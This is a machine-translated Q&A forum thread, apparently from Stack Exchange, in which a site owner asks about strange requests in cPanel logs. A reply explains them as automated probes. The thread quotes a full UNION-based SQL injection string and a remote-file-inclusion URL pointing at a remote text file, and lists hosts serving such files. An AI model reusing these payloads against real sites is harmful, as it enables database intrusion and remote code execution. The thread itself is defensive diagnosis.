这是注射尝试还是正常请求？

Question

在cPanel的Analog Stats统计模块中,我注意到无数请求连接到以下示例:

/?x=19&y=15

数字是随机的,但它总是设置x和y变量.

另一类神秘的要求:

/?id=http://nic.bupt.edu.cn/media/j1.txt??

在请求日志中还有其他尝试注入,也有直接的SQL写入它们.例:

 /jobs/jobinfo.php?id=-999.9 UNION ALL SELECT 1,(SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM information_schema.tables WHERE table_schema=0x73636363726F6F745F7075626C6963),3,4,5,6,7,8,9,10,11,12,13--

看起来他们都达到了404,但我仍然想知道这些背后的意图.

我知道这很模糊,但也许有人知道这是正常的,同时使用cPanel和phpMyAdmin服务.此外,网站上安装了一个搜索框,这可能是原因.

关于这些是什么的任何建议？

---

编辑

我从请求列表中删除了所有这些并切掉了它们指向的txt.也许这为这些攻击提供了更多帮助.

http://www.diakonia-jkt.sch.id
http://www.nationalmedecine.com
http://muzykologia.lublin.pl
http://www.abi.co.uk
http://stul.netsolutions.cz
http://jack.tiscali.it
http://solid.go.ro
http://nic.bupt.edu.cn
http://www.europeanforumcyprus.eu
http://www.nationalmedecine.com

此外,在phpMyAdmin状态部分,它显示每小时约900次更改数据库查询.只有select privs的用户是否可以对db造成任何实际损害？没有个人信息,但这些SOB正在堵塞带宽.

Answer 1

这些(除了前一个)是自动的(？)试图找到代码中的弱点;

/？id = http://nic.bupt.edu.cn/media/j1.txt ??

尝试从另一台服务器导入PHP页面.一个众所周知的问题,尤其是旧的PHP软件.

"UNION ALL SELECT 1"是一个明显的SQL插入尝试.模式ID 0x73636363726F6F745F7075626C6963解码为"scccroot_public".我不确定这是哪个数据库.但他们正试图控制它,这是肯定的.